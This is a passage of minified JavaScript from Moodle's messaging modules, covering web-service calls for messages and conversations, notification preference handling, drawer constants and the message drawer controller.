0!==limit&amp;&amp;(args.limitnum=limit),void 0!==offset&amp;&amp;(args.limitfrom=offset);var request={methodname:&quot;core_message_data_for_messagearea_search_messages&quot;,args:args};return Ajax.call([request])[0]},sendMessagesToUser:sendMessagesToUser,sendMessageToUser:function(toUserId,text){return sendMessagesToUser(toUserId,[text]).then((function(results){return results[0]}))},sendMessagesToConversation:sendMessagesToConversation,sendMessageToConversation:function(conversationId,text){return sendMessagesToConversation(conversationId,[text]).then((function(result){return result[0]}))},savePreferences:function(userId,preferences){var request={methodname:&quot;core_user_update_user_preferences&quot;,args:{userid:userId,preferences:preferences}};return Ajax.call([request])[0]},getPreferences:function(userId){var request={methodname:&quot;core_user_get_user_preferences&quot;,args:{userid:userId}};return Ajax.call([request])[0]},deleteMessages:function(userId,messageIds){return $.when.apply(null,Ajax.call(messageIds.map((function(messageId){return{methodname:&quot;core_message_delete_message&quot;,args:{messageid:messageId,userid:userId}}}))))},deleteMessagesForAllUsers:function(userId,messageIds){return $.when.apply(null,Ajax.call(messageIds.map((function(messageId){return{methodname:&quot;core_message_delete_message_for_all_users&quot;,args:{messageid:messageId,userid:userId}}}))))},deleteConversation:function(userId,conversationId){var request={methodname:&quot;core_message_delete_conversations_by_id&quot;,args:{userid:userId,conversationids:[conversationId]}};return Ajax.call([request])[0]},getContactRequests:function(userId){var request={methodname:&quot;core_message_get_contact_requests&quot;,args:{userid:userId}};return Ajax.call([request])[0]},acceptContactRequest:function(sendingUserId,recipientUserId){var requests=[{methodname:&quot;core_message_confirm_contact_request&quot;,args:{userid:sendingUserId,requesteduserid:recipientUserId}},{methodname:&quot;core_message_get_member_info&quot;,args:{referenceuserid:recipientUserId,userids:[sendingUserId],includecontactrequests:!0,includeprivacyinfo:!0}}];return $.when.apply(null,Ajax.call(requests)).then((function(reponse1,profiles){return profiles.length?profiles[0]:{}}))},declineContactRequest:function(sendingUserId,recipientUserId){var requests=[{methodname:&quot;core_message_decline_contact_request&quot;,args:{userid:sendingUserId,requesteduserid:recipientUserId}},{methodname:&quot;core_message_get_member_info&quot;,args:{referenceuserid:recipientUserId,userids:[sendingUserId],includecontactrequests:!0,includeprivacyinfo:!0}}];return $.when.apply(null,Ajax.call(requests)).then((function(reponse1,profiles){return profiles.length?profiles[0]:{}}))},getConversation:function(loggedInUserId,conversationId,includeContactRequests,includePrivacyInfo,memberLimit,memberOffset,messageLimit,messageOffset,newestMessagesFirst){var args={userid:loggedInUserId,conversationid:conversationId};null!=includeContactRequests&amp;&amp;(args.includecontactrequests=includeContactRequests),null!=includePrivacyInfo&amp;&amp;(args.includeprivacyinfo=includePrivacyInfo),null!=memberLimit&amp;&amp;(args.memberlimit=memberLimit),null!=memberOffset&amp;&amp;(args.memberoffset=memberOffset),null!=messageLimit&amp;&amp;(args.messagelimit=messageLimit),null!=messageOffset&amp;&amp;(args.messageoffset=messageOffset),null!=newestMessagesFirst&amp;&amp;(args.newestmessagesfirst=newestMessagesFirst);var request={methodname:&quot;core_message_get_conversation&quot;,args:args};return Ajax.call([request])[0]},getConversationBetweenUsers:function(loggedInUserId,otherUserId,includeContactRequests,includePrivacyInfo,memberLimit,memberOffset,messageLimit,messageOffset,newestMessagesFirst){var args={userid:loggedInUserId,otheruserid:otherUserId};null!=includeContactRequests&amp;&amp;(args.includecontactrequests=includeContactRequests),null!=includePrivacyInfo&amp;&amp;(args.includeprivacyinfo=includePrivacyInfo),null!=memberLimit&amp;&amp;(args.memberlimit=memberLimit),null!=memberOffset&amp;&amp;(args.memberoffset=memberOffset),null!=messageLimit&amp;&amp;(args.messagelimit=messageLimit),null!=messageOffset&amp;&amp;(args.messageoffset=messageOffset),null!=newestMessagesFirst&amp;&amp;(args.newestmessagesfirst=newestMessagesFirst);var request={methodname:&quot;core_message_get_conversation_between_users&quot;,args:args};return Ajax.call([request])[0]},getSelfConversation:function(loggedInUserId,messageLimit,messageOffset,newestMessagesFirst){var args={userid:loggedInUserId};null!=messageLimit&amp;&amp;(args.messagelimit=messageLimit),null!=messageOffset&amp;&amp;(args.messageoffset=messageOffset),null!=newestMessagesFirst&amp;&amp;(args.newestmessagesfirst=newestMessagesFirst);var request={methodname:&quot;core_message_get_self_conversation&quot;,args:args};return Ajax.call([request])[0]},getConversations:function(userId,type,limit,offset,favourites,mergeself){var args={userid:userId,type:type};null!=limit&amp;&amp;(args.limitnum=limit),null!=offset&amp;&amp;(args.limitfrom=offset),null!=favourites&amp;&amp;(args.favourites=favourites),null!=mergeself&amp;&amp;(args.mergeself=mergeself);var request={methodname:&quot;core_message_get_conversations&quot;,args:args};return Ajax.call([request])[0].then((function(result){return result.conversations.length&amp;&amp;(result.conversations=result.conversations.map((function(conversation){if(conversation.type==CONVERSATION_TYPES.PRIVATE||conversation.type==CONVERSATION_TYPES.SELF){var otherUser=conversation.members.length?conversation.members[0]:null;otherUser&amp;&amp;(conversation.name=conversation.name?conversation.name:otherUser.fullname,conversation.imageurl=conversation.imageurl?conversation.imageurl:otherUser.profileimageurl)}return conversation}))),result}))},getConversationMembers:function(conversationId,loggedInUserId,limit,offset,includeContactRequests){var args={userid:loggedInUserId,conversationid:conversationId};null!=limit&amp;&amp;(args.limitnum=limit),null!=offset&amp;&amp;(args.limitfrom=offset),null!=includeContactRequests&amp;&amp;(args.includecontactrequests=includeContactRequests);var request={methodname:&quot;core_message_get_conversation_members&quot;,args:args};return Ajax.call([request])[0]},setFavouriteConversations:function(userId,conversationIds){var request={methodname:&quot;core_message_set_favourite_conversations&quot;,args:{userid:userId,conversations:conversationIds}};return Ajax.call([request])[0]},setMutedConversations:function(userId,conversationIds){var request={methodname:&quot;core_message_mute_conversations&quot;,args:{userid:userId,conversationids:conversationIds}};return Ajax.call([request])[0]},unsetFavouriteConversations:function(userId,conversationIds){var request={methodname:&quot;core_message_unset_favourite_conversations&quot;,args:{userid:userId,conversations:conversationIds}};return Ajax.call([request])[0]},unsetMutedConversations:function(userId,conversationIds){var request={methodname:&quot;core_message_unmute_conversations&quot;,args:{userid:userId,conversationids:conversationIds}};return Ajax.call([request])[0]},getMemberInfo:function(referenceUserId,userIds,includeContactRequests,includePrivacyInfo){var args={referenceuserid:referenceUserId,userids:userIds};void 0!==includeContactRequests&amp;&amp;(args.includecontactrequests=includeContactRequests),void 0!==includePrivacyInfo&amp;&amp;(args.includeprivacyinfo=includePrivacyInfo);var request={methodname:&quot;core_message_get_member_info&quot;,args:args};return Ajax.call([request])[0]},markAllConversationMessagesAsRead:function(userId,conversationId){var request={methodname:&quot;core_message_mark_all_conversation_messages_as_read&quot;,args:{userid:userId,conversationid:conversationId}};return Ajax.call([request])[0]},getUserMessagePreferences:function(userId){var request={methodname:&quot;core_message_get_user_message_preferences&quot;,args:{userid:userId}};return Ajax.call([request])[0]},getTotalConversationCounts:function(userId){var request={methodname:&quot;core_message_get_conversation_counts&quot;,args:{userid:userId}};return Ajax.call([request])[0]},getUnreadConversationCounts:function(userId){var request={methodname:&quot;core_message_get_unread_conversation_counts&quot;,args:{userid:userId}};return Ajax.call([request])[0]},getAllConversationCounts:function(userId){var requests=[{methodname:&quot;core_message_get_conversation_counts&quot;,args:{userid:userId}},{methodname:&quot;core_message_get_unread_conversation_counts&quot;,args:{userid:userId}}];return $.when.apply(null,Ajax.call(requests)).then((function(total,unread){return{total:total,unread:unread}}))}}}));
/**
 * Controls the preferences for the list of notification types on the
 * message preference page
 *
 * @module     core_message/preferences_notifications_list_controller
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/preferences_notifications_list_controller&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core_message/notification_preference&quot;,&quot;core_message/notification_processor_settings&quot;,&quot;core/modal_factory&quot;],(function($,Ajax,Notification,CustomEvents,NotificationPreference,NotificationProcessorSettings,ModalFactory){var SELECTORS_DISABLE_NOTIFICATIONS=&#039;[data-region=&quot;disable-notification-container&quot;] [data-disable-notifications]&#039;,SELECTORS_DISABLE_NOTIFICATIONS_CONTAINER=&#039;[data-region=&quot;disable-notification-container&quot;]&#039;,SELECTORS_PREFERENCE=&quot;.preference-state&quot;,SELECTORS_PREFERENCE_ROW=&#039;[data-region=&quot;preference-row&quot;]&#039;,SELECTORS_PREFERENCE_INPUT=&quot;.preference-state input&quot;,SELECTORS_PROCESSOR_SETTING=&quot;[data-processor-setting]&quot;,PreferencesController=function(element){this.root=$(element),this.userId=this.root.attr(&quot;data-user-id&quot;),this.registerEventListeners()};return PreferencesController.prototype.isDisabled=function(){return this.root.hasClass(&quot;disabled&quot;)},PreferencesController.prototype.setDisabled=function(){this.root.addClass(&quot;disabled&quot;),this.root.find(SELECTORS_PREFERENCE_INPUT).prop(&quot;disabled&quot;,!0)},PreferencesController.prototype.setEnabled=function(){this.root.removeClass(&quot;disabled&quot;),this.root.find(SELECTORS_PREFERENCE_INPUT).prop(&quot;disabled&quot;,!1)},PreferencesController.prototype.toggleDisableAllStatus=function(){var checkbox=$(SELECTORS_DISABLE_NOTIFICATIONS),container=$(SELECTORS_DISABLE_NOTIFICATIONS_CONTAINER),ischecked=checkbox.prop(&quot;checked&quot;);if(container.hasClass(&quot;loading&quot;))return $.Deferred().resolve();container.addClass(&quot;loading&quot;);var request={methodname:&quot;core_user_update_user_preferences&quot;,args:{userid:this.userId,emailstop:ischecked?1:0}};return Ajax.call([request])[0].done(function(){ischecked?this.setDisabled():this.setEnabled()}.bind(this)).always((function(){container.removeClass(&quot;loading&quot;)})).fail(Notification.exception)},PreferencesController.prototype.registerEventListeners=function(){var disabledNotificationsElement=$(SELECTORS_DISABLE_NOTIFICATIONS);CustomEvents.define(this.root,[CustomEvents.events.activate]),this.root.on(&quot;change&quot;,function(e){if(!this.isDisabled()){var preferenceElement=$(e.target).closest(SELECTORS_PREFERENCE),preferenceRow=$(e.target).closest(SELECTORS_PREFERENCE_ROW),preference=new NotificationPreference(preferenceRow,this.userId);preferenceElement.addClass(&quot;loading&quot;),preference.save().always((function(){preferenceElement.removeClass(&quot;loading&quot;)}))}}.bind(this));var eventFormPromise=ModalFactory.create({type:NotificationProcessorSettings.TYPE});this.root.on(CustomEvents.events.activate,SELECTORS_PROCESSOR_SETTING,(function(e,data){var element=$(e.target).closest(SELECTORS_PROCESSOR_SETTING);data.originalEvent.preventDefault(),eventFormPromise.then((function(modal){modal.setUserId($(element).attr(&quot;data-user-id&quot;)),modal.setName($(element).attr(&quot;data-name&quot;)),modal.setContextId($(element).attr(&quot;data-context-id&quot;)),modal.setElement(element),modal.show(),e.stopImmediatePropagation()})).fail(Notification.exception)})),CustomEvents.define(disabledNotificationsElement,[CustomEvents.events.activate]),disabledNotificationsElement.on(CustomEvents.events.activate,function(){this.toggleDisableAllStatus()}.bind(this))},PreferencesController}));
/**
 * Constant values for the conversation page in the message drawer.
 *
 * @module     core_message/message_drawer_view_conversation_constants
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_conversation_constants&quot;,[],(function(){return{SELECTORS:{ACTION_ACCEPT_CONTACT_REQUEST:&#039;[data-action=&quot;accept-contact-request&quot;]&#039;,ACTION_CANCEL_CONFIRM:&#039;[data-action=&quot;cancel-confirm&quot;]&#039;,ACTION_OKAY_CONFIRM:&#039;[data-action=&quot;okay-confirm&quot;]&#039;,ACTION_CANCEL_EDIT_MODE:&#039;[data-action=&quot;cancel-edit-mode&quot;]&#039;,ACTION_CONFIRM_ADD_CONTACT:&#039;[data-action=&quot;confirm-add-contact&quot;]&#039;,ACTION_CONFIRM_BLOCK:&#039;[data-action=&quot;confirm-block&quot;]&#039;,ACTION_CONFIRM_DELETE_SELECTED_MESSAGES:&#039;[data-action=&quot;confirm-delete-selected-messages&quot;]&#039;,ACTION_CONFIRM_DELETE_CONVERSATION:&#039;[data-action=&quot;confirm-delete-conversation&quot;]&#039;,ACTION_CONFIRM_FAVOURITE:&#039;[data-action=&quot;confirm-favourite&quot;]&#039;,ACTION_CONFIRM_MUTE:&#039;[data-action=&quot;confirm-mute&quot;]&#039;,ACTION_CONFIRM_UNFAVOURITE:&#039;[data-action=&quot;confirm-unfavourite&quot;]&#039;,ACTION_CONFIRM_REMOVE_CONTACT:&#039;[data-action=&quot;confirm-remove-contact&quot;]&#039;,ACTION_CONFIRM_UNBLOCK:&#039;[data-action=&quot;confirm-unblock&quot;]&#039;,ACTION_CONFIRM_UNMUTE:&#039;[data-action=&quot;confirm-unmute&quot;]&#039;,ACTION_DECLINE_CONTACT_REQUEST:&#039;[data-action=&quot;decline-contact-request&quot;]&#039;,ACTION_REQUEST_ADD_CONTACT:&#039;[data-action=&quot;request-add-contact&quot;]&#039;,ACTION_REQUEST_BLOCK:&#039;[data-action=&quot;request-block&quot;]&#039;,ACTION_REQUEST_DELETE_CONVERSATION:&#039;[data-action=&quot;request-delete-conversation&quot;]&#039;,ACTION_REQUEST_DELETE_SELECTED_MESSAGES:&#039;[data-action=&quot;delete-selected-messages&quot;]&#039;,ACTION_REQUEST_REMOVE_CONTACT:&#039;[data-action=&quot;request-remove-contact&quot;]&#039;,ACTION_REQUEST_UNBLOCK:&#039;[data-action=&quot;request-unblock&quot;]&#039;,ACTION_VIEW_CONTACT:&#039;[data-action=&quot;view-contact&quot;]&#039;,ACTION_VIEW_GROUP_INFO:&#039;[data-action=&quot;view-group-info&quot;]&#039;,CAN_RECEIVE_FOCUS:&#039;input:not([type=&quot;hidden&quot;]), a[href], button, textarea, select, [tabindex]&#039;,CONFIRM_DIALOGUE:&#039;[data-region=&quot;confirm-dialogue&quot;]&#039;,CONFIRM_DIALOGUE_BUTTON_TEXT:&#039;[data-region=&quot;dialogue-button-text&quot;]&#039;,CONFIRM_DIALOGUE_CANCEL_BUTTON:&#039;[data-action=&quot;cancel-confirm&quot;]&#039;,CONFIRM_DIALOGUE_CONTAINER:&#039;[data-region=&quot;confirm-dialogue-container&quot;]&#039;,CONFIRM_DIALOGUE_HEADER:&#039;[data-region=&quot;dialogue-header&quot;]&#039;,CONFIRM_DIALOGUE_OKAY_BUTTON:&#039;[data-action=&quot;okay-confirm&quot;]&#039;,CONFIRM_DIALOGUE_TEXT:&#039;[data-region=&quot;dialogue-text&quot;]&#039;,CONTACT_REQUEST_SENT_MESSAGE_CONTAINER:&#039;[data-region=&quot;contact-request-sent-message-container&quot;]&#039;,CONTENT_PLACEHOLDER_CONTAINER:&#039;[data-region=&quot;content-placeholder&quot;]&#039;,CONTENT_CONTAINER:&#039;[data-region=&quot;content-container&quot;]&#039;,CONTENT_MESSAGES_CONTAINER:&#039;[data-region=&quot;content-message-container&quot;]&#039;,CONTENT_MESSAGES_FOOTER_CONTAINER:&#039;[data-region=&quot;content-messages-footer-container&quot;]&#039;,CONTENT_MESSAGES_FOOTER_EDIT_MODE_CONTAINER:&#039;[data-region=&quot;content-messages-footer-edit-mode-container&quot;]&#039;,CONTENT_MESSAGES_FOOTER_REQUIRE_CONTACT_CONTAINER:&#039;[data-region=&quot;content-messages-footer-require-contact-container&quot;]&#039;,CONTENT_MESSAGES_FOOTER_REQUIRE_UNBLOCK_CONTAINER:&#039;[data-region=&quot;content-messages-footer-require-unblock-container&quot;]&#039;,CONTENT_MESSAGES_FOOTER_UNABLE_TO_MESSAGE_CONTAINER:&#039;[data-region=&quot;content-messages-footer-unable-to-message&quot;]&#039;,DAY_MESSAGES_CONTAINER:&#039;[data-region=&quot;day-messages-container&quot;]&#039;,DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE:&#039;[data-region=&quot;delete-messages-for-all-users-toggle&quot;]&#039;,DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER:&#039;[data-region=&quot;delete-messages-for-all-users-toggle-container&quot;]&#039;,EMOJI_AUTO_COMPLETE_CONTAINER:&#039;[data-region=&quot;emoji-auto-complete-container&quot;]&#039;,EMOJI_PICKER_CONTAINER:&#039;[data-region=&quot;emoji-picker-container&quot;]&#039;,EMOJI_PICKER:&#039;[data-region=&quot;emoji-picker&quot;]&#039;,EMOJI_PICKER_SEARCH_INPUT:&#039;[data-region=&quot;search-input&quot;]&#039;,ERROR_MESSAGE_CONTAINER:&#039;[data-region=&quot;error-message-container&quot;]&#039;,ERROR_MESSAGE:&#039;[data-region=&quot;error-message&quot;]&#039;,FAVOURITE_ICON_CONTAINER:&#039;[data-region=&quot;favourite-icon-container&quot;]&#039;,FOOTER_CONTAINER:&#039;[data-region=&quot;content-messages-footer-container&quot;]&#039;,HEADER:&#039;[data-region=&quot;header-content&quot;]&#039;,HEADER_EDIT_MODE:&#039;[data-region=&quot;header-edit-mode&quot;]&#039;,HEADER_PLACEHOLDER_CONTAINER:&#039;[data-region=&quot;header-placeholder&quot;]&#039;,LOADING_ICON_CONTAINER:&#039;[data-region=&quot;loading-icon-container&quot;]&#039;,MESSAGE:&#039;[data-region=&quot;message&quot;]&#039;,MESSAGE_NOT_SELECTED:&#039;[data-region=&quot;message&quot;][aria-checked=&quot;false&quot;]&#039;,MESSAGE_NOT_SELECTED_ICON:&#039;[data-region=&quot;not-selected-icon&quot;]&#039;,MESSAGE_SELECTED_ICON:&#039;[data-region=&quot;selected-icon&quot;]&#039;,MESSAGES:&#039;[data-region=&quot;content-message-container&quot;]&#039;,MESSAGES_CONTAINER:&#039;[data-region=&quot;content-message-container&quot;]&#039;,MESSAGES_SELECTED_COUNT:&#039;[data-region=&quot;message-selected-court&quot;]&#039;,MESSAGE_TEXT_AREA:&#039;[data-region=&quot;send-message-txt&quot;]&#039;,MORE_MESSAGES_LOADING_ICON_CONTAINER:&#039;[data-region=&quot;more-messages-loading-icon-container&quot;]&#039;,MUTED_ICON_CONTAINER:&#039;[data-region=&quot;muted-icon-container&quot;]&#039;,PLACEHOLDER_CONTAINER:&#039;[data-region=&quot;placeholder-container&quot;]&#039;,RETRY_SEND:&#039;[data-region=&quot;retry-send&quot;]&#039;,SELF_CONVERSATION_MESSAGE_CONTAINER:&#039;[data-region=&quot;self-conversation-message-container&quot;]&#039;,SEND_MESSAGE_BUTTON:&#039;[data-action=&quot;send-message&quot;]&#039;,SEND_MESSAGE_ICON_CONTAINER:&#039;[data-region=&quot;send-icon-container&quot;]&#039;,TEXT:&#039;[data-region=&quot;text&quot;]&#039;,TEXT_CONTAINER:&#039;[data-region=&quot;text-container&quot;]&#039;,TIME_CREATED:&#039;[data-region=&quot;time-created&quot;]&#039;,TITLE:&#039;[data-region=&quot;title&quot;]&#039;,TOGGLE_EMOJI_PICKER_BUTTON:&#039;[data-action=&quot;toggle-emoji-picker&quot;]&#039;},TEMPLATES:{HEADER_PRIVATE:&quot;core_message/message_drawer_view_conversation_header_content_type_private&quot;,HEADER_PRIVATE_NO_CONTROLS:&quot;core_message/message_drawer_view_conversation_header_content_type_private_no_controls&quot;,HEADER_PUBLIC:&quot;core_message/message_drawer_view_conversation_header_content_type_public&quot;,HEADER_SELF:&quot;core_message/message_drawer_view_conversation_header_content_type_self&quot;,DAY:&quot;core_message/message_drawer_view_conversation_body_day&quot;,MESSAGE:&quot;core_message/message_drawer_view_conversation_body_message&quot;,MESSAGES:&quot;core_message/message_drawer_view_conversation_body_messages&quot;},CONVERSATION_TYPES:{PRIVATE:1,PUBLIC:2,SELF:3},NEWEST_MESSAGES_FIRST:!0,LOAD_MESSAGE_LIMIT:100,MILLISECONDS_IN_SEC:1e3}}));
/**
 * Controls the message drawer.
 *
 * @module     core_message/message_drawer
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/pubsub&quot;,&quot;core_message/message_drawer_view_contact&quot;,&quot;core_message/message_drawer_view_contacts&quot;,&quot;core_message/message_drawer_view_conversation&quot;,&quot;core_message/message_drawer_view_group_info&quot;,&quot;core_message/message_drawer_view_overview&quot;,&quot;core_message/message_drawer_view_search&quot;,&quot;core_message/message_drawer_view_settings&quot;,&quot;core_message/message_drawer_router&quot;,&quot;core_message/message_drawer_routes&quot;,&quot;core_message/message_drawer_events&quot;,&quot;core/pending&quot;,&quot;core/drawer&quot;],(function($,CustomEvents,PubSub,ViewContact,ViewContacts,ViewConversation,ViewGroupInfo,ViewOverview,ViewSearch,ViewSettings,Router,Routes,Events,Pending,Drawer){var SELECTORS_DRAWER=&#039;[data-region=&quot;right-hand-drawer&quot;]&#039;,SELECTORS_JUMPTO=&#039;.popover-region [data-region=&quot;jumpto&quot;]&#039;,SELECTORS_PANEL_BODY_CONTAINER=&#039;[data-region=&quot;panel-body-container&quot;]&#039;,SELECTORS_PANEL_HEADER_CONTAINER=&#039;[data-region=&quot;panel-header-container&quot;]&#039;,SELECTORS_VIEW_CONTACT=&#039;[data-region=&quot;view-contact&quot;]&#039;,SELECTORS_VIEW_CONTACTS=&#039;[data-region=&quot;view-contacts&quot;]&#039;,SELECTORS_VIEW_CONVERSATION=&#039;[data-region=&quot;view-conversation&quot;]&#039;,SELECTORS_VIEW_GROUP_INFO=&#039;[data-region=&quot;view-group-info&quot;]&#039;,SELECTORS_VIEW_OVERVIEW=&#039;[data-region=&quot;view-overview&quot;]&#039;,SELECTORS_VIEW_SEARCH=&#039;[data-region=&quot;view-search&quot;]&#039;,SELECTORS_VIEW_SETTINGS=&#039;[data-region=&quot;view-settings&quot;]&#039;,SELECTORS_ROUTES=&quot;[data-route]&quot;,SELECTORS_ROUTES_BACK=&quot;[data-route-back]&quot;,SELECTORS_HEADER_CONTAINER=&#039;[data-region=&quot;header-container&quot;]&#039;,SELECTORS_BODY_CONTAINER=&#039;[data-region=&quot;body-container&quot;]&#039;,SELECTORS_FOOTER_CONTAINER=&#039;[data-region=&quot;footer-container&quot;]&#039;,SELECTORS_CLOSE_BUTTON=&#039;[data-action=&quot;closedrawer&quot;]&#039;,routes=[[Routes.VIEW_CONTACT,SELECTORS_VIEW_CONTACT,ViewContact.show,ViewContact.description],[Routes.VIEW_CONTACTS,SELECTORS_VIEW_CONTACTS,ViewContacts.show,ViewContacts.description],[Routes.VIEW_CONVERSATION,SELECTORS_VIEW_CONVERSATION,ViewConversation.show,ViewConversation.description],[Routes.VIEW_GROUP_INFO,SELECTORS_VIEW_GROUP_INFO,ViewGroupInfo.show,ViewGroupInfo.description],[Routes.VIEW_OVERVIEW,SELECTORS_VIEW_OVERVIEW,ViewOverview.show,ViewOverview.description],[Routes.VIEW_SEARCH,SELECTORS_VIEW_SEARCH,ViewSearch.show,ViewSearch.description],[Routes.VIEW_SETTINGS,SELECTORS_VIEW_SETTINGS,ViewSettings.show,ViewSettings.description]],createRoutes=function(namespace,root){routes.forEach((function(route){Router.add(namespace,route[0],function(namespace,root,selector){var header=root.find(SELECTORS_HEADER_CONTAINER).find(selector);header.length||(header=root.find(SELECTORS_PANEL_HEADER_CONTAINER).find(selector));var body=root.find(SELECTORS_BODY_CONTAINER).find(selector);body.length||(body=root.find(SELECTORS_PANEL_BODY_CONTAINER).find(selector));var footer=root.find(SELECTORS_FOOTER_CONTAINER).find(selector);return[namespace,header.length?header:null,body.length?body:null,footer.length?footer:null]}(namespace,root,route[1]),route[2],route[3])}))},show=function(namespace,root){root.attr(&quot;data-shown&quot;)||(Router.go(namespace,Routes.VIEW_OVERVIEW),root.attr(&quot;data-shown&quot;,!0));var drawerRoot=Drawer.getDrawerRoot(root);drawerRoot.length&amp;&amp;Drawer.show(drawerRoot)},hide=function(root){var drawerRoot=Drawer.getDrawerRoot(root);drawerRoot.length&amp;&amp;Drawer.hide(drawerRoot)},setJumpFrom=function(buttonid){$(SELECTORS_DRAWER).attr(&quot;data-origin&quot;,buttonid)},registerEventListeners=function(namespace,root,alwaysVisible){CustomEvents.define(root,[CustomEvents.events.activate]);var paramRegex=/^data-route-param-?(\d*)$/;root.on(CustomEvents.events.activate,SELECTORS_ROUTES,(function(e,data){for(var element=$(e.target).closest(SELECTORS_ROUTES),route=element.attr(&quot;data-route&quot;),attributes=[],i=0;i&lt;element[0].attributes.length;i++)attributes.push(element[0].attributes[i]);var paramAttributes=attributes.filter((function(attribute){var name=attribute.nodeName;return paramRegex.test(name)}));paramAttributes.sort((function(a,b){var aParts=paramRegex.exec(a.nodeName),bParts=paramRegex.exec(b.nodeName),aIndex=aParts.length&gt;1?aParts[1]:0,bIndex=bParts.length&gt;1?bParts[1]:0;return aIndex&lt;bIndex?-1:bIndex&lt;aIndex?1:0}));var params=paramAttributes.map((function(attribute){return attribute.nodeValue})),routeParams=[namespace,route].concat(params);Router.go.apply(null,routeParams),data.originalEvent.preventDefault()})),root.on(CustomEvents.events.activate,SELECTORS_ROUTES_BACK,(function(e,data){Router.back(namespace),data.originalEvent.preventDefault()})),root.on(&quot;hide.bs.collapse&quot;,&quot;.collapse&quot;,(function(e){var pendingPromise=new Pending;$(e.target).one(&quot;hidden.bs.collapse&quot;,(function(){pendingPromise.resolve()}))})),root.on(&quot;show.bs.collapse&quot;,&quot;.collapse&quot;,(function(e){var pendingPromise=new Pending;$(e.target).one(&quot;shown.bs.collapse&quot;,(function(){pendingPromise.resolve()}))})),$(SELECTORS_JUMPTO).focus((function(){var firstInput=root.find(SELECTORS_CLOSE_BUTTON);firstInput.length?firstInput.focus():$(SELECTORS_HEADER_CONTAINER).find(SELECTORS_ROUTES_BACK).focus()})),$(SELECTORS_DRAWER).focus((function(){var button=$(this).attr(&quot;data-origin&quot;);button&amp;&amp;$(&quot;#&quot;+button).focus()})),alwaysVisible||(PubSub.subscribe(Events.SHOW,(function(){show(namespace,root)})),PubSub.subscribe(Events.HIDE,(function(){hide(root)})),PubSub.subscribe(Events.TOGGLE_VISIBILITY,(function(buttonid){!function(root){var drawerRoot=Drawer.getDrawerRoot(root);return!drawerRoot.length||Drawer.isVisible(drawerRoot)}(root)?(show(namespace,root),setJumpFrom(buttonid),$(SELECTORS_JUMPTO).attr(&quot;tabindex&quot;,0)):(hide(root),$(SELECTORS_JUMPTO).attr(&quot;tabindex&quot;,-1))}))),PubSub.subscribe(Events.SHOW_CONVERSATION,(function(args){setJumpFrom(args.buttonid),show(namespace,root),Router.go(namespace,Routes.VIEW_CONVERSATION,args.conversationid)})),root.find(SELECTORS_CLOSE_BUTTON).on(CustomEvents.events.activate,(function(e,data){data.originalEvent.preventDefault();var button=$(SELECTORS_DRAWER).attr(&quot;data-origin&quot;);button&amp;&amp;$(&quot;#&quot;+button).focus(),PubSub.publish(Events.TOGGLE_VISIBILITY)})),PubSub.subscribe(Events.CREATE_CONVERSATION_WITH_USER,(function(args){setJumpFrom(args.buttonid),show(namespace,root),Router.go(namespace,Routes.VIEW_CONVERSATION,null,&quot;create&quot;,args.userid)})),PubSub.subscribe(Events.SHOW_SETTINGS,(function(){show(namespace,root),Router.go(namespace,Routes.VIEW_SETTINGS)})),PubSub.subscribe(Events.PREFERENCES_UPDATED,(function(preferences){var filteredPreferences=preferences.filter((function(preference){return&quot;message_entertosend&quot;==preference.type})),enterToSendPreference=filteredPreferences.length?filteredPreferences[0]:null;enterToSendPreference&amp;&amp;root.find(SELECTORS_FOOTER_CONTAINER).find(SELECTORS_VIEW_CONVERSATION).attr(&quot;data-enter-to-send&quot;,enterToSendPreference.value)}))};return{init:function(root,uniqueId,alwaysVisible,route){if(root=$(root),createRoutes(uniqueId,root),registerEventListeners(uniqueId,root,alwaysVisible),alwaysVisible&amp;&amp;(show(uniqueId,root),route)){var routeParams=route.params||[];routeParams=[uniqueId,route.path].concat(routeParams),Router.go.apply(null,routeParams)}}}}));
/**
 * Controls the conversation page in the message drawer.
 *
 * This function handles all of the user actions that the user can take
 * when interacting with the conversation page.
 *
 * It maintains a view state which is a data representation of the view
 * and only operates on that data.
 *
 * The view state is immutable and should never be modified directly. Instead
 * all changes to the view state should be done using the StateManager which
 * will generate a new version of the view state with the requested changes.
 *
 * After any changes to the view state the module will call the render function
 * to ask the renderer to update the UI.
 *
 * General rules for this module:
 * 1.) Never modify viewState directly. All changes should be via the StateManager.
 * 2.) Call render() with the new state when you want to update the UI
 * 3.) Never modify the UI directly in this module. This module is only concerned
 *     with the data in the view state.
 *
 * The general flow for a user interaction will be something like:
 * User interaction: User clicks &quot;confirm block&quot; button to block the other user
 *      1.) This module is hears the click
 *      2.) This module sends a request to the server to block the user
 *      3.) The server responds with the new user profile
 *      4.) This module generates a new state using the StateManager with the updated
 *          user profile.
 *      5.) This module asks the Patcher to generate a patch from the current state and
 *          the newly generated state. This patch tells the renderer what has changed
 *          between the states.
 *      6.) This module gives the Renderer the generated patch. The renderer updates
 *          the UI with changes according to the patch.
 *
 * @module     core_message/message_drawer_view_conversation
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
